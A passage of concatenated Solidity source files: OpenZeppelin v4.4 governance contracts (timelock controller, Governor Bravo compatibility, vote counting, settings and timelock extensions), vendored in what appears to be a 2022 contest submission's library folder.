return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(id, predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(
bytes32 id,
uint256 index,
address target,
uint256 value,
bytes calldata data
) private {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/compatibility/GovernorCompatibilityBravo.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.4.2) (governance/compatibility/GovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "../../utils/Counters.sol";
import "../../utils/math/SafeCast.sol";
import "../extensions/IGovernorTimelock.sol";
import "../Governor.sol";
import "./IGovernorCompatibilityBravo.sol";
/**
* @dev Compatibility layer that implements GovernorBravo compatibility on to of {Governor}.
*
* This compatibility layer includes a voting system and requires a {IGovernorTimelock} compatible module to be added
* through inheritance. It does not include token bindings, not does it include any variable upgrade patterns.
*
* NOTE: When using this module, you may need to enable the Solidity optimizer to avoid hitting the contract size limit.
*
* _Available since v4.3._
*/
abstract contract GovernorCompatibilityBravo is IGovernorTimelock, IGovernorCompatibilityBravo, Governor {
using Counters for Counters.Counter;
using Timers for Timers.BlockNumber;
enum VoteType {
Against,
For,
Abstain
}
struct ProposalDetails {
address proposer;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
mapping(address => Receipt) receipts;
bytes32 descriptionHash;
}
mapping(uint256 => ProposalDetails) private _proposalDetails;
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=bravo";
}
// ============================================== Proposal lifecycle ==============================================
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(IGovernor, Governor) returns (uint256) {
_storeProposal(_msgSender(), targets, values, new string[](calldatas.length), calldatas, description);
return super.propose(targets, values, calldatas, description);
}
/**
* @dev See {IGovernorCompatibilityBravo-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
_storeProposal(_msgSender(), targets, values, signatures, calldatas, description);
return propose(targets, values, _encodeCalldata(signatures, calldatas), description);
}
/**
* @dev See {IGovernorCompatibilityBravo-queue}.
*/
function queue(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
queue(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev See {IGovernorCompatibilityBravo-execute}.
*/
function execute(uint256 proposalId) public payable virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
execute(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
function cancel(uint256 proposalId) public virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
require(
_msgSender() == details.proposer || getVotes(details.proposer, block.number - 1) < proposalThreshold(),
"GovernorBravo: proposer above threshold"
);
_cancel(
details.targets,
details.values,
_encodeCalldata(details.signatures, details.calldatas),
details.descriptionHash
);
}
/**
* @dev Encodes calldatas with optional function signature.
*/
function _encodeCalldata(string[] memory signatures, bytes[] memory calldatas)
private
pure
returns (bytes[] memory)
{
bytes[] memory fullcalldatas = new bytes[](calldatas.length);
for (uint256 i = 0; i < signatures.length; ++i) {
fullcalldatas[i] = bytes(signatures[i]).length == 0
? calldatas[i]
: abi.encodePacked(bytes4(keccak256(bytes(signatures[i]))), calldatas[i]);
}
return fullcalldatas;
}
/**
* @dev Store proposal metadata for later lookup
*/
function _storeProposal(
address proposer,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) private {
bytes32 descriptionHash = keccak256(bytes(description));
uint256 proposalId = hashProposal(targets, values, _encodeCalldata(signatures, calldatas), descriptionHash);
ProposalDetails storage details = _proposalDetails[proposalId];
if (details.descriptionHash == bytes32(0)) {
details.proposer = proposer;
details.targets = targets;
details.values = values;
details.signatures = signatures;
details.calldatas = calldatas;
details.descriptionHash = descriptionHash;
}
}
// ==================================================== Views =====================================================
/**
* @dev See {IGovernorCompatibilityBravo-proposals}.
*/
function proposals(uint256 proposalId)
public
view
virtual
override
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
)
{
id = proposalId;
eta = proposalEta(proposalId);
startBlock = proposalSnapshot(proposalId);
endBlock = proposalDeadline(proposalId);
ProposalDetails storage details = _proposalDetails[proposalId];
proposer = details.proposer;
forVotes = details.forVotes;
againstVotes = details.againstVotes;
abstainVotes = details.abstainVotes;
ProposalState status = state(proposalId);
canceled = status == ProposalState.Canceled;
executed = status == ProposalState.Executed;
}
/**
* @dev See {IGovernorCompatibilityBravo-getActions}.
*/
function getActions(uint256 proposalId)
public
view
virtual
override
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
ProposalDetails storage details = _proposalDetails[proposalId];
return (details.targets, details.values, details.signatures, details.calldatas);
}
/**
* @dev See {IGovernorCompatibilityBravo-getReceipt}.
*/
function getReceipt(uint256 proposalId, address voter) public view virtual override returns (Receipt memory) {
return _proposalDetails[proposalId].receipts[voter];
}
/**
* @dev See {IGovernorCompatibilityBravo-quorumVotes}.
*/
function quorumVotes() public view virtual override returns (uint256) {
return quorum(block.number - 1);
}
// ==================================================== Voting ====================================================
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {
return _proposalDetails[proposalId].receipts[account].hasVoted;
}
/**
* @dev See {Governor-_quorumReached}. In this module, only forVotes count toward the quorum.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return quorum(proposalSnapshot(proposalId)) <= details.forVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be scritly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalDetails storage details = _proposalDetails[proposalId];
return details.forVotes > details.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows Governor Bravo.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalDetails storage details = _proposalDetails[proposalId];
Receipt storage receipt = details.receipts[account];
require(!receipt.hasVoted, "GovernorCompatibilityBravo: vote already cast");
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = SafeCast.toUint96(weight);
if (support == uint8(VoteType.Against)) {
details.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
details.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
details.abstainVotes += weight;
} else {
revert("GovernorCompatibilityBravo: invalid vote type");
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/compatibility/IGovernorCompatibilityBravo.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/compatibility/IGovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "../IGovernor.sol";
/**
* @dev Interface extension that adds missing functions to the {Governor} core to provide `GovernorBravo` compatibility.
*
* _Available since v4.3._
*/
abstract contract IGovernorCompatibilityBravo is IGovernor {
/**
* @dev Proposal structure from Compound Governor Bravo. Not actually used by the compatibility layer, as
* {{proposal}} returns a very different structure.
*/
struct Proposal {
uint256 id;
address proposer;
uint256 eta;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 startBlock;
uint256 endBlock;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
bool canceled;
bool executed;
mapping(address => Receipt) receipts;
}
/**
* @dev Receipt structure from Compound Governor Bravo
*/
struct Receipt {
bool hasVoted;
uint8 support;
uint96 votes;
}
/**
* @dev Part of the Governor Bravo's interface.
*/
function quorumVotes() public view virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"The official record of all proposals ever proposed"_.
*/
function proposals(uint256)
public
view
virtual
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
);
/**
* @dev Part of the Governor Bravo's interface: _"Function used to propose a new proposal"_.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"Queues a proposal of state succeeded"_.
*/
function queue(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Executes a queued proposal if eta has passed"_.
*/
function execute(uint256 proposalId) public payable virtual;
/**
* @dev Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold.
*/
function cancel(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Gets actions of a proposal"_.
*/
function getActions(uint256 proposalId)
public
view
virtual
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
);
/**
* @dev Part of the Governor Bravo's interface: _"Gets the receipt for a voter on a given proposal"_.
*/
function getReceipt(uint256 proposalId, address voter) public view virtual returns (Receipt memory);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorCountingSimple.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorCountingSimple.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
/**
* @dev Extension of {Governor} for simple, 3 options, vote counting.
*
* _Available since v4.3._
*/
abstract contract GovernorCountingSimple is Governor {
/**
* @dev Supported vote types. Matches Governor Bravo ordering.
*/
enum VoteType {
Against,
For,
Abstain
}
struct ProposalVote {
uint256 againstVotes;
uint256 forVotes;
uint256 abstainVotes;
mapping(address => bool) hasVoted;
}
mapping(uint256 => ProposalVote) private _proposalVotes;
/**
* @dev See {IGovernor-COUNTING_MODE}.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=for,abstain";
}
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {
return _proposalVotes[proposalId].hasVoted[account];
}
/**
* @dev Accessor to the internal vote counts.
*/
function proposalVotes(uint256 proposalId)
public
view
virtual
returns (
uint256 againstVotes,
uint256 forVotes,
uint256 abstainVotes
)
{
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes);
}
/**
* @dev See {Governor-_quorumReached}.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return proposalvote.forVotes > proposalvote.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
require(!proposalvote.hasVoted[account], "GovernorVotingSimple: vote already cast");
proposalvote.hasVoted[account] = true;
if (support == uint8(VoteType.Against)) {
proposalvote.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
proposalvote.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
proposalvote.abstainVotes += weight;
} else {
revert("GovernorVotingSimple: invalid value for enum VoteType");
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorProposalThreshold.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
/**
* @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance.
*
* _Available since v4.3._
* _Deprecated since v4.4._
*/
abstract contract GovernorProposalThreshold is Governor {
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorSettings.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
/**
* @dev Extension of {Governor} for settings updatable through governance.
*
* _Available since v4.4._
*/
abstract contract GovernorSettings is Governor {
uint256 private _votingDelay;
uint256 private _votingPeriod;
uint256 private _proposalThreshold;
event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);
event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);
event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);
/**
* @dev Initialize the governance parameters.
*/
constructor(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) {
_setVotingDelay(initialVotingDelay);
_setVotingPeriod(initialVotingPeriod);
_setProposalThreshold(initialProposalThreshold);
}
/**
* @dev See {IGovernor-votingDelay}.
*/
function votingDelay() public view virtual override returns (uint256) {
return _votingDelay;
}
/**
* @dev See {IGovernor-votingPeriod}.
*/
function votingPeriod() public view virtual override returns (uint256) {
return _votingPeriod;
}
/**
* @dev See {Governor-proposalThreshold}.
*/
function proposalThreshold() public view virtual override returns (uint256) {
return _proposalThreshold;
}
/**
* @dev Update the voting delay. This operation can only be performed through a governance proposal.
*
* Emits a {VotingDelaySet} event.
*/
function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {
_setVotingDelay(newVotingDelay);
}
/**
* @dev Update the voting period. This operation can only be performed through a governance proposal.
*
* Emits a {VotingPeriodSet} event.
*/
function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {
_setVotingPeriod(newVotingPeriod);
}
/**
* @dev Update the proposal threshold. This operation can only be performed through a governance proposal.
*
* Emits a {ProposalThresholdSet} event.
*/
function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {
_setProposalThreshold(newProposalThreshold);
}
/**
* @dev Internal setter for the voting delay.
*
* Emits a {VotingDelaySet} event.
*/
function _setVotingDelay(uint256 newVotingDelay) internal virtual {
emit VotingDelaySet(_votingDelay, newVotingDelay);
_votingDelay = newVotingDelay;
}
/**
* @dev Internal setter for the voting period.
*
* Emits a {VotingPeriodSet} event.
*/
function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {
// voting period must be at least one block long
require(newVotingPeriod > 0, "GovernorSettings: voting period too low");
emit VotingPeriodSet(_votingPeriod, newVotingPeriod);
_votingPeriod = newVotingPeriod;
}
/**
* @dev Internal setter for the proposal threshold.
*
* Emits a {ProposalThresholdSet} event.
*/
function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {
emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);
_proposalThreshold = newProposalThreshold;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockCompound.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockCompound.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelock.sol";
import "../Governor.sol";
import "../../utils/math/SafeCast.sol";
/**
* https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[Compound's timelock] interface
*/
interface ICompoundTimelock {
receive() external payable;
// solhint-disable-next-line func-name-mixedcase
function GRACE_PERIOD() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MINIMUM_DELAY() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MAXIMUM_DELAY() external view returns (uint256);
function admin() external view returns (address);
function pendingAdmin() external view returns (address);
function delay() external view returns (uint256);
function queuedTransactions(bytes32) external view returns (bool);
function setDelay(uint256) external;
function acceptAdmin() external;
function setPendingAdmin(address) external;
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external payable returns (bytes memory);
}
/**
* @dev Extension of {Governor} that binds the execution process to a Compound Timelock. This adds a delay, enforced by
* the external timelock to all successful proposal (in addition to the voting duration). The {Governor} needs to be
* the admin of the timelock for any operation to be performed. A public, unrestricted,
* {GovernorTimelockCompound-__acceptAdmin} is available to accept ownership of the timelock.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockCompound is IGovernorTimelock, Governor {
using SafeCast for uint256;
using Timers for Timers.Timestamp;
struct ProposalTimelock {
Timers.Timestamp timer;
}
ICompoundTimelock private _timelock;
mapping(uint256 => ProposalTimelock) private _proposalTimelocks;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
constructor(ICompoundTimelock timelockAddress) {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) {
return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` and `Expired` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
uint256 eta = proposalEta(proposalId);
if (eta == 0) {
return status;
} else if (block.timestamp >= eta + _timelock.GRACE_PERIOD()) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
return _proposalTimelocks[proposalId].timer.getDeadline();
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 eta = block.timestamp + _timelock.delay();
_proposalTimelocks[proposalId].timer.setDeadline(eta.toUint64());
for (uint256 i = 0; i < targets.length; ++i) {
require(
!_timelock.queuedTransactions(keccak256(abi.encode(targets[i], values[i], "", calldatas[i], eta))),
"GovernorTimelockCompound: identical proposal action already queued"
);
_timelock.queueTransaction(targets[i], values[i], "", calldatas[i], eta);
}
emit ProposalQueued(proposalId, eta);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual override {
uint256 eta = proposalEta(proposalId);
require(eta > 0, "GovernorTimelockCompound: proposal not yet queued");
Address.sendValue(payable(_timelock), msg.value);
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.executeTransaction(targets[i], values[i], "", calldatas[i], eta);
}
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
uint256 eta = proposalEta(proposalId);
if (eta > 0) {
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.cancelTransaction(targets[i], values[i], "", calldatas[i], eta);
}
_proposalTimelocks[proposalId].timer.reset();
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Accept admin right over the timelock.
*/
// solhint-disable-next-line private-vars-leading-underscore
function __acceptAdmin() public {
_timelock.acceptAdmin();
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled and executed using the {Governor} workflow.
*
* For security reason, the timelock must be handed over to another admin before setting up a new one. The two
* operations (hand over the timelock) and do the update can be batched in a single proposal.
*
* Note that if the timelock admin has been handed over in a previous operation, we refuse updates made through the
* timelock if admin of the timelock has already been accepted and the operation is executed outside the scope of
* governance.
*/
function updateTimelock(ICompoundTimelock newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(ICompoundTimelock newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockControl.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockControl.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelock.sol";
import "../Governor.sol";
import "../TimelockController.sol";
/**
* @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a
* delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The
* {Governor} needs the proposer (an ideally the executor) roles for the {Governor} to work properly.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockControl is IGovernorTimelock, Governor {
TimelockController private _timelock;
mapping(uint256 => bytes32) private _timelockIds;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
constructor(TimelockController timelockAddress) {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) {
return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
// core tracks execution, so we just have to check if successful proposal have been queued.
bytes32 queueid = _timelockIds[proposalId];
if (queueid == bytes32(0)) {
return status;
} else if (_timelock.isOperationDone(queueid)) {
return ProposalState.Executed;
} else {
return ProposalState.Queued;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);
return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 delay = _timelock.getMinDelay();
_timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);
_timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);
emit ProposalQueued(proposalId, block.timestamp + delay);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override {
_timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash);
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
if (_timelockIds[proposalId] != 0) {
_timelock.cancel(_timelockIds[proposalId]);
delete _timelockIds[proposalId];
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled and executed using the {Governor} workflow.
*/
function updateTimelock(TimelockController newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(TimelockController newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
}
================================================
